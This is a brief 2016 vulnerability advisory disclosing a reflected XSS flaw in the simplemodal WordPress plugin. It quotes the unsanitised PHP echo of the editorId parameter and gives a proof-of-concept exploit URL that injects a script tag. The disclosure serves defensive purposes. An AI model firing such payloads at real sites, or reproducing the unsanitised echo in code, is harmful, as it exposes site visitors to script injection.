Advisory #: 677
Title: Reflected XSS in wordpress plugin simplemodal v0.3.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/simplemodal
Downloads: 1404
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: simplemodal
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./simplemodal/tinymce/modal-list.php: 17: <input type="hidden" name="editor_id" id="editor_id" value="<?php echo $_GET['editorId']; ?>"> The variable editorId appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./simplemodal/tinymce/modal-list.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/simplemodal/tinymce/modal-list.php?editorId="><script>alert(1);</script><"